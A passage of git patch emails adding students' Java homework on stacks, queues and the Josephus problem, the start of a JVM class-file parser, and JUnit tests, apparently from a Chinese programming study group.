+        inOneArray.push2(10);
+        inOneArray.push2(20);
+        inOneArray.push1(15);
+        inOneArray.push1(25);
+        Assert.assertEquals(20,inOneArray.peek2());
+        Assert.assertEquals(25,inOneArray.peek1());
+    }
+
+    @Test
+    public void testPop2() throws Exception {
+        TwoStackInOneArray inOneArray = new TwoStackInOneArray();
+        inOneArray.push2(10);
+        inOneArray.push2(20);
+        inOneArray.pop2();
+        inOneArray.pop2();
+        inOneArray.push2(25);
+        inOneArray.push2(24);
+        Assert.assertEquals(24,inOneArray.peek2());
+        inOneArray.pop2();
+        Assert.assertEquals(25,inOneArray.peek2());
+    }
+
+    @Test
+    public void testPeek2() throws Exception {
+        TwoStackInOneArray inOneArray = new TwoStackInOneArray();
+        inOneArray.push2(100);
+        inOneArray.push2(200);
+        Assert.assertEquals(200,inOneArray.peek2());
+    }
+
+}
\ No newline at end of file

From b6c6f9c8e53f4c16a6a844a1faa05cc9041cec59 Mon Sep 17 00:00:00 2001
From: zheng <765324639@qq.com>
Date: Fri, 5 May 2017 18:31:54 +0800
Subject: [PATCH 186/262] =?UTF-8?q?JVM=E7=AC=AC6=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../datastructure/stack/QuickMinStack.java    | 145 ++++++++++++++++++
 .../stack/StackWithTwoQueues.java             |  26 ++++
 .../stack/TwoStackInOneArray.java             |  83 ++++++++++
 .../stack/QuickMinStackTest.java              |  42 +++++
 .../stack/StackWithTwoQueuesTest.java         |  26 ++++
 .../stack/TwoStackInOneArrayTest.java         |  42 +++++
 6 files changed, 364 insertions(+)
 create mode 100644 group01/765324639/src/main/java/datastructure/stack/QuickMinStack.java
 create mode 100644 group01/765324639/src/main/java/datastructure/stack/StackWithTwoQueues.java
 create mode 100644 group01/765324639/src/main/java/datastructure/stack/TwoStackInOneArray.java
 create mode 100644 group01/765324639/src/test/java/datastructure/stack/QuickMinStackTest.java
 create mode 100644 group01/765324639/src/test/java/datastructure/stack/StackWithTwoQueuesTest.java
 create mode 100644 group01/765324639/src/test/java/datastructure/stack/TwoStackInOneArrayTest.java

diff --git a/group01/765324639/src/main/java/datastructure/stack/QuickMinStack.java b/group01/765324639/src/main/java/datastructure/stack/QuickMinStack.java
new file mode 100644
index 0000000000..e06a6b4e11
--- /dev/null
+++ b/group01/765324639/src/main/java/datastructure/stack/QuickMinStack.java
@@ -0,0 +1,145 @@
+package datastructure.stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+    
+    private int size = 0;
+    private int index = 0; // 目前的最早入库索引
+    private Node head;
+    
+    public int findMin(){
+        if (head == null) {
+            throw new RuntimeException("Stack is empty, don't have min!");
+        }
+        return head.data;
+    }
+    
+	public void push(int data){
+	    if (size == 0) {
+	        head = new Node(size++, data);
+	    } else {
+	        Node temp = head;
+	        while (temp.next != null && data > temp.data) {
+	            temp = temp.next;
+	        }
+	        Node newNode = new Node(size++, data);
+	        
+	        // 未到达最后节点，或者到达最后节点，但是要插入的数据小于最后一个节点，此时插入到temp节点之前
+	        if (unReachedLastNodeOrSmallThanLastNode(data, temp)) {
+    	        insertBefore(newNode, temp);
+	        } else { // 其他情况插入到temp节点之后
+	            insertAfter(newNode, temp);
+	        }
+	    }
+	}
+
+    private boolean unReachedLastNodeOrSmallThanLastNode(int data, Node temp) {
+        return temp.next != null || (temp.next == null && data < temp.data);
+    }
+	
+	/**
+	 * 将src节点插入到dest之前
+	 * @param src
+	 * @param dest
+	 */
+	private void insertBefore(Node src, Node dest) {
+	    if (dest.prev == null) { // dest为首个元素
+            head = src;
+	    } else {
+    	    src.prev = dest.prev;
+    	    dest.prev.next = src;
+	    }
+	    dest.prev = src;
+        src.next = dest;
+	}
+	
+	/**
+	 * 将src节点插入到dest之后
+	 * @param src
+	 * @param dest
+	 */
+	private void insertAfter(Node src, Node dest) {
+	    if (dest.next == null) { // temp为最后一个元素
+            dest.next = src;
+            src.prev = dest;
+        } else {
+            dest = dest.next;
+            insertBefore(src, dest);
+        }
+	}
+	
+	public int pop(){
+	    Node temp = head;
+	    while (temp.next != null) {
+	        if (temp.index == this.index) {
+	            Node dest =  remove(temp);
+	            return dest.data;
+	        }
+	        temp = temp.next;
+	    }
+	    if (temp.index == this.index) {
+	        Node dest =  remove(temp);
+            return dest.data;
+	    }
+		throw new RuntimeException("Stack is Empty!");
+	}
+	
+	private Node remove(Node node) {
+	    if (node.prev == null && node.next == null) { // 唯一的元素,删除后将初始化size和index
+	        this.size = 0;
+	        this.index = 0;
+	        return node;
+	    }
+	    if (node.prev == null) { // 元素在开头位置
+	        head = head.next;
+	        node.next.prev = null;
+	        node.next = null;
+	    } else if (node.next == null) { // 元素在结尾位置
+	        node.prev.next = null;
+	        node.prev = null;
+	    } else { // 元素在中间位置
+    	    node.prev.next = node.next;
+    	    node.next.prev = node.prev;
+    	    node.prev = null;
+    	    node.next = null;
+	    }
+	    this.size--;
+        this.index++;
+	    return node;
+	}
+	
+	public int size() {
+	    return size;
+	}
+	
+	// 调试输出用
+//	@Override
+//	public String toString() {
+//	    StringBuilder builder = new StringBuilder(size);
+//	    builder.append("[");
+//	    Node temp = head;
+//	    while (temp.next != null) {
+//	        builder.append(temp.data + ", ");
+//	        temp = temp.next;
+//	    }
+//	    builder.append(temp.data + "]");
+//	    return builder.toString();
+//	}
+	
+	private static class Node {
+	    Node prev;
+	    int data;
+	    int index; // 插入的顺序
+	    Node next;
+	    
+	    Node (int index, int data) {
+	        this.index = index;
+	        this.data = data;
+	    }
+	}
+}
diff --git a/group01/765324639/src/main/java/datastructure/stack/StackWithTwoQueues.java b/group01/765324639/src/main/java/datastructure/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..3efc65367c
--- /dev/null
+++ b/group01/765324639/src/main/java/datastructure/stack/StackWithTwoQueues.java
@@ -0,0 +1,26 @@
+package datastructure.stack;
+
+import datastructure.queue.Queue;
+
+public class StackWithTwoQueues {
+
+    private Queue queue1 = new Queue();
+    private Queue queue2 = new Queue();
+
+    public void push(int data) {
+        queue1.enQueue(data);
+    }
+
+    public int pop() {
+        int size = queue1.size();
+        for (int i = 0; i < size - 1; i++) {
+            queue2.enQueue(queue1.deQueue());
+        }
+        int dest = (int) queue1.deQueue();
+        queue1 = queue2;
+        queue2 = queue1;
+        return dest;
+    }
+
+
+}
diff --git a/group01/765324639/src/main/java/datastructure/stack/TwoStackInOneArray.java b/group01/765324639/src/main/java/datastructure/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..9149218363
--- /dev/null
+++ b/group01/765324639/src/main/java/datastructure/stack/TwoStackInOneArray.java
@@ -0,0 +1,83 @@
+package datastructure.stack;
+
+import java.util.Arrays;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	private int index1 = 0;
+	private int index2 = data.length - 1;
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		ensureCapacity();
+		data[index1++] = o;
+	}
+	
+	private void ensureCapacity() {
+	    if (isFull()) {
+	        grow();
+	    }
+	}
+	
+	private boolean isFull() {
+	    return index1 + 1 == index2;
+	}
+	
+	private void grow() {
+	    int stack2Length = data.length - 1 - index2; 
+	    data = Arrays.copyOf(data, data.length * 2);
+	    int oldIndex2 = index2;
+	    index2 = data.length - stack2Length - 1;
+	    System.arraycopy(data, oldIndex2 + 1, data, index2 + 1, stack2Length);
+	}
+	
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		return data[--index1];
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return data[index1 - 1];
+	}
+	/**
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+	    ensureCapacity();
+        data[index2--] = o;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		return data[++index2];
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return data[index2 + 1];
+	}
+	
+}
diff --git a/group01/765324639/src/test/java/datastructure/stack/QuickMinStackTest.java b/group01/765324639/src/test/java/datastructure/stack/QuickMinStackTest.java
new file mode 100644
index 0000000000..852488a3c0
--- /dev/null
+++ b/group01/765324639/src/test/java/datastructure/stack/QuickMinStackTest.java
@@ -0,0 +1,42 @@
+package datastructure.stack;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Test;
+
+public class QuickMinStackTest {
+
+    @Test
+    public void test() {
+        QuickMinStack stack = new QuickMinStack();
+        stack.push(5);
+        stack.push(-5);
+        stack.push(50);
+        stack.push(23);
+        stack.push(0);
+        stack.push(100);
+        
+        assertEquals(-5, stack.findMin());
+        assertEquals(6, stack.size());
+        
+        assertEquals(5, stack.pop());
+        assertEquals(-5, stack.findMin());
+        
+        assertEquals(-5, stack.pop());
+        assertEquals(0, stack.findMin());
+        
+        assertEquals(50, stack.pop());
+        assertEquals(0, stack.findMin());
+        
+        assertEquals(23, stack.pop());
+        assertEquals(0, stack.findMin());
+        
+        assertEquals(0, stack.pop());
+        assertEquals(100, stack.findMin());
+        
+        assertEquals(100, stack.pop());
+        
+        assertEquals(0, stack.size());
+        
+    }
+}
diff --git a/group01/765324639/src/test/java/datastructure/stack/StackWithTwoQueuesTest.java b/group01/765324639/src/test/java/datastructure/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..cf2b3482ce
--- /dev/null
+++ b/group01/765324639/src/test/java/datastructure/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,26 @@
+package datastructure.stack;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Test;
+
+public class StackWithTwoQueuesTest {
+
+    @Test
+    public void test() {
+        StackWithTwoQueues stack = new StackWithTwoQueues();
+        for (int i = 0; i < 500; i++) {
+            stack.push(i);
+        }
+        for (int i = 0; i < 500; i++) {
+            assertEquals(500 - i - 1, stack.pop());
+        }
+        
+        stack.push(50);
+        stack.push(60);
+        assertEquals(60, stack.pop());
+        stack.push(70);
+        assertEquals(70, stack.pop());
+        assertEquals(50, stack.pop());
+    }
+}
diff --git a/group01/765324639/src/test/java/datastructure/stack/TwoStackInOneArrayTest.java b/group01/765324639/src/test/java/datastructure/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..2407f7ce15
--- /dev/null
+++ b/group01/765324639/src/test/java/datastructure/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,42 @@
+package datastructure.stack;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Test;
+
+public class TwoStackInOneArrayTest {
+
+    @Test
+    public void test() {
+        TwoStackInOneArray stack = new TwoStackInOneArray();
+        for (int i = 0; i < 500; i++) {
+            stack.push1("stack1:" + i);
+        }
+        for (int i = 0; i < 500; i++) {
+            stack.push2("stack2:" + i);
+        }
+        
+        for (int i = 0; i < 500; i++) {
+            assertEquals("stack1:" + (500 - i - 1), stack.peek1());
+            assertEquals("stack1:" + (500 - i - 1), stack.pop1());
+        }
+        for (int i = 0; i < 500; i++) {
+            assertEquals("stack2:" + (500 - i - 1), stack.peek2());
+            assertEquals("stack2:" + (500 - i - 1), stack.pop2());
+        }
+        
+        stack.push1(50);
+        stack.push1(60);
+        assertEquals(60, stack.pop1());
+        stack.push1(70);
+        assertEquals(70, stack.pop1());
+        assertEquals(50, stack.pop1());
+        
+        stack.push2(50);
+        stack.push2(60);
+        assertEquals(60, stack.pop2());
+        stack.push2(70);
+        assertEquals(70, stack.pop2());
+        assertEquals(50, stack.pop2());
+    }
+}

From c7cc0304082349b6737550954165da086fbaab3b Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Fri, 5 May 2017 22:23:50 +0800
Subject: [PATCH 187/262] =?UTF-8?q?=E7=AC=AC10=E5=91=A8,=20jvm=E7=AC=AC5?=
 =?UTF-8?q?=E6=AC=A1=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group11/1178243325/week10/build.gradle        |  12 ++
 group11/1178243325/week10/readme.md           |  14 +++
 .../com/sprint/datastructure/CircleQueue.java |  49 ++++++++
 .../com/sprint/datastructure/Josephus.java    |  34 ++++++
 .../java/com/sprint/datastructure/Queue.java  |  54 +++++++++
 .../datastructure/QueueWithTwoStacks.java     |  58 ++++++++++
 .../java/com/sprint/jvm/clz/AccessFlag.java   |  25 ++++
 .../java/com/sprint/jvm/clz/ClassFile.java    |  71 ++++++++++++
 .../java/com/sprint/jvm/clz/ClassIndex.java   |  22 ++++
 .../com/sprint/jvm/constant/ClassInfo.java    |  28 +++++
 .../com/sprint/jvm/constant/ConstantInfo.java |  29 +++++
 .../com/sprint/jvm/constant/ConstantPool.java |  28 +++++
 .../com/sprint/jvm/constant/FieldRefInfo.java |  52 +++++++++
 .../sprint/jvm/constant/MethodRefInfo.java    |  55 +++++++++
 .../sprint/jvm/constant/NameAndTypeInfo.java  |  52 +++++++++
 .../sprint/jvm/constant/NullConstantInfo.java |  12 ++
 .../com/sprint/jvm/constant/StringInfo.java   |  26 +++++
 .../com/sprint/jvm/constant/UTF8Info.java     |  35 ++++++
 .../sprint/jvm/loader/ByteCodeIterator.java   |  50 ++++++++
 .../sprint/jvm/loader/ClassFileLoader.java    |  52 +++++++++
 .../sprint/jvm/loader/ClassFileParser.java    | 107 ++++++++++++++++++
 .../main/java/com/sprint/jvm/util/Util.java   |  22 ++++
 .../sprint/datastructure/CircleQueueTest.java |  45 ++++++++
 .../sprint/datastructure/JosephusTest.java    |  27 +++++
 .../datastructure/QueueWithTwoStacksTest.java |  28 +++++
 25 files changed, 987 insertions(+)
 create mode 100644 group11/1178243325/week10/build.gradle
 create mode 100644 group11/1178243325/week10/readme.md
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/datastructure/CircleQueue.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/datastructure/Josephus.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/datastructure/Queue.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/datastructure/QueueWithTwoStacks.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/AccessFlag.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassFile.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassIndex.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ClassInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantPool.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/StringInfo.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/UTF8Info.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
 create mode 100644 group11/1178243325/week10/src/main/java/com/sprint/jvm/util/Util.java
 create mode 100644 group11/1178243325/week10/src/test/java/com/sprint/datastructure/CircleQueueTest.java
 create mode 100644 group11/1178243325/week10/src/test/java/com/sprint/datastructure/JosephusTest.java
 create mode 100644 group11/1178243325/week10/src/test/java/com/sprint/datastructure/QueueWithTwoStacksTest.java

diff --git a/group11/1178243325/week10/build.gradle b/group11/1178243325/week10/build.gradle
new file mode 100644
index 0000000000..f46c5add86
--- /dev/null
+++ b/group11/1178243325/week10/build.gradle
@@ -0,0 +1,12 @@
+apply plugin: 'java'
+
+repositories {
+	mavenCentral()
+}
+
+dependencies {
+	compile("commons-io:commons-io:2.4")
+	//compile("commons-lang:commons-lang:2.6")
+	compile("org.apache.commons:commons-lang3:3.4")
+	testCompile("junit:junit:4.12")
+}
diff --git a/group11/1178243325/week10/readme.md b/group11/1178243325/week10/readme.md
new file mode 100644
index 0000000000..4253c3569f
--- /dev/null
+++ b/group11/1178243325/week10/readme.md
@@ -0,0 +1,14 @@
+## 讲课内容：
+
+## 第10周作业(JVM第5次作业)（04-24 至 04-30)
+- 实现一个简单的执行引擎,主要代码engine cmd
+- 数据结构，实现循环队列CircleQueue.java,约瑟夫环Josephus.java,用两个栈实现队列QueueWithTwoStacks.java
+- 写一篇文章
+
+## 完成情况：
+- 数据结构已完
+- 文章已完
+- jvm未完
+
+## 我的收获：
+其实最难是坚持
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/datastructure/CircleQueue.java b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/CircleQueue.java
new file mode 100644
index 0000000000..42f8fcd4df
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/CircleQueue.java
@@ -0,0 +1,49 @@
+package com.sprint.datastructure;
+
+public class CircleQueue<E> {
+
+	private Object[] elementData;
+	private int size = 0;
+	//队头
+	private int front = 0;
+
+	//队尾
+	private int rear = 0;
+
+
+	public CircleQueue(int capacity) {
+		elementData = new Object[capacity];
+	}	
+
+	public boolean isEmpty() {
+		return front == rear;
+	}
+
+	public boolean isFull() {
+		return size == elementData.length;
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public void enQueue(E data) {
+		if (isFull()) {
+			throw new RuntimeException("The queue is full");
+		}
+		elementData[rear++] = data;
+		size++;
+	}
+
+	public E deQueue() {
+		if (isEmpty()) {
+			throw new RuntimeException("The queue is empty");
+		}
+		E data = (E)elementData[front];
+		elementData[front] = null;
+		front = (front + 1) % elementData.length;
+		size--;
+		return data;
+	}
+}
+
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/datastructure/Josephus.java b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/Josephus.java
new file mode 100644
index 0000000000..9656e15c02
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/Josephus.java
@@ -0,0 +1,34 @@
+package com.sprint.datastructure;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){		
+		Queue<Integer> queue = new Queue<>();
+		for (int i = 0; i < n; i++) {
+			queue.enQueue(i);
+		}
+
+		List<Integer> result = new ArrayList<>();
+		int i = 0;
+
+		while (!queue.isEmpty()) {
+			int x = queue.deQueue();
+			if (++i %m == 0) {
+				result.add(x);
+			} else {
+				queue.enQueue(x);
+			}
+		}
+		return result;
+	}
+	
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/datastructure/Queue.java b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/Queue.java
new file mode 100644
index 0000000000..e7c14ac30e
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/Queue.java
@@ -0,0 +1,54 @@
+package com.sprint.datastructure;
+
+import java.util.NoSuchElementException;
+public class Queue<E> {
+	private Node<E> first;
+	private Node<E> last;
+	private int size;
+
+	private static class Node<E> {
+		private E item;
+		private Node<E> next;
+	}
+
+	public Queue() {
+		first = null;
+		last = null;
+		size = 0;
+	}
+
+	public boolean isEmpty() {
+		return first == null;
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public void enQueue(E data) {
+		Node<E> oldLast = last;
+		last = new Node<E>();
+		last.item = data;
+		last.next = null;
+		if (isEmpty()) {
+			first = last;
+		} else {
+			oldLast.next = last;
+		}
+		size++;
+	}
+
+	public E deQueue() {
+		if (isEmpty()) {
+			throw new NoSuchElementException("Queue underflow");
+		}	
+		E item = first.item;
+		first = first.next;
+		size--;
+		if (isEmpty()) {
+			last = null;
+		}
+		return item;
+	}
+
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/datastructure/QueueWithTwoStacks.java b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..3ca10f4b25
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/datastructure/QueueWithTwoStacks.java
@@ -0,0 +1,58 @@
+package com.sprint.datastructure;
+
+import java.util.Stack;
+import java.util.NoSuchElementException;
+/**
+ * 用两个栈来实现一个队列
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+
+    
+    public int size() {
+        return stack1.size() + stack2.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+		if (item == null)
+			return;
+   		stack1.push(item); 
+	}
+
+    public E deQueue() {
+		if (isEmpty()) {
+			throw new NoSuchElementException("Queue is empty");
+		}
+		if (stack2.isEmpty()) {
+			moveStack1ToStack2();
+		}
+        return stack2.pop();
+    }
+
+	private void moveStack1ToStack2() {
+		while (!stack1.isEmpty()) {
+			stack2.push(stack1.pop());
+		}
+	}
+
+ }
+
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/AccessFlag.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..e74740aa3e
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.sprint.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue; 
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flagValue) {
+		this.flagValue = flagValue;
+	}
+
+	public boolean isPublicClass() {
+		return (this.flagValue & 0x0001) != 0;
+	}
+
+	public boolean isFinalClass() {
+		return (this.flagValue & 0x0010) != 0;
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassFile.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..4e5aad16f9
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassFile.java
@@ -0,0 +1,71 @@
+package com.sprint.jvm.clz;
+
+import com.sprint.jvm.constant.ConstantPool;
+import com.sprint.jvm.constant.ClassInfo;
+public class ClassFile {
+	private int minorVersion;
+	private int majorVersion;
+
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	} 
+
+	public ClassIndex getClassIndex() {
+		return clzIndex;
+	}
+
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+
+	public void setConstantPool(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public void print() {
+		if (this.accessFlag.isPublicClass()) {
+			System.out.println("Access flag : public ");
+		}
+		System.out.println("Class Name:" + getClassName() );
+		System.out.println("Super Class Name:" + getSuperClassName());
+	}
+
+	private String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);	
+		return thisClass.getClassName();
+	}
+
+	private String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassIndex.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..46e7443d90
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package com.sprint.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+
+	public void setThisClassIndex(int index) {
+		this.thisClassIndex = index;
+	}
+
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+
+	public void setSuperClassIndex(int index) {
+		this.superClassIndex = index;
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ClassInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..b8da3c656d
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.sprint.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index;
+
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public void setUtf8Index(int index) {
+		this.utf8Index = index;
+	}
+
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();
+	}
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..a8db82689e
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.sprint.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo() {}
+
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+
+	public abstract int getType();
+
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantPool.getConstantInfo(index);
+	}
+
+}
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantPool.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..3a35c22ce0
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/ConstantPool.java
@@ -0,0 +1,28 @@
+package com.sprint.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>(); 
+
+	public ConstantPool() {
+		
+	}
+
+	public void addConstantInfo(ConstantInfo info) {
+		this.constantInfos.add(info);
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantInfos.get(index);
+	}
+
+	public String getUTF8String(int index) {
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}	
+
+	public Object getSize() {
+		return this.constantInfos.size() - 1;
+	}
+} 
diff --git a/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..c0eb449085
--- /dev/null
+++ b/group11/1178243325/week10/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo {
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
